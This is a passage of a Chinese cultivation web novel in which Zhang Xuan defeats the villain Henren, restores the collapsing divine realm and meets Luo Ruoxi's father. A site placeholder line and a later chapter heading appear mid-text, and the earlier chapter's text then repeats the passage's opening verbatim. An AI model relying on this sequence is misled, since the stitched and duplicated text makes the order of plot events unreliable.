“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第62章 难辨真假 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 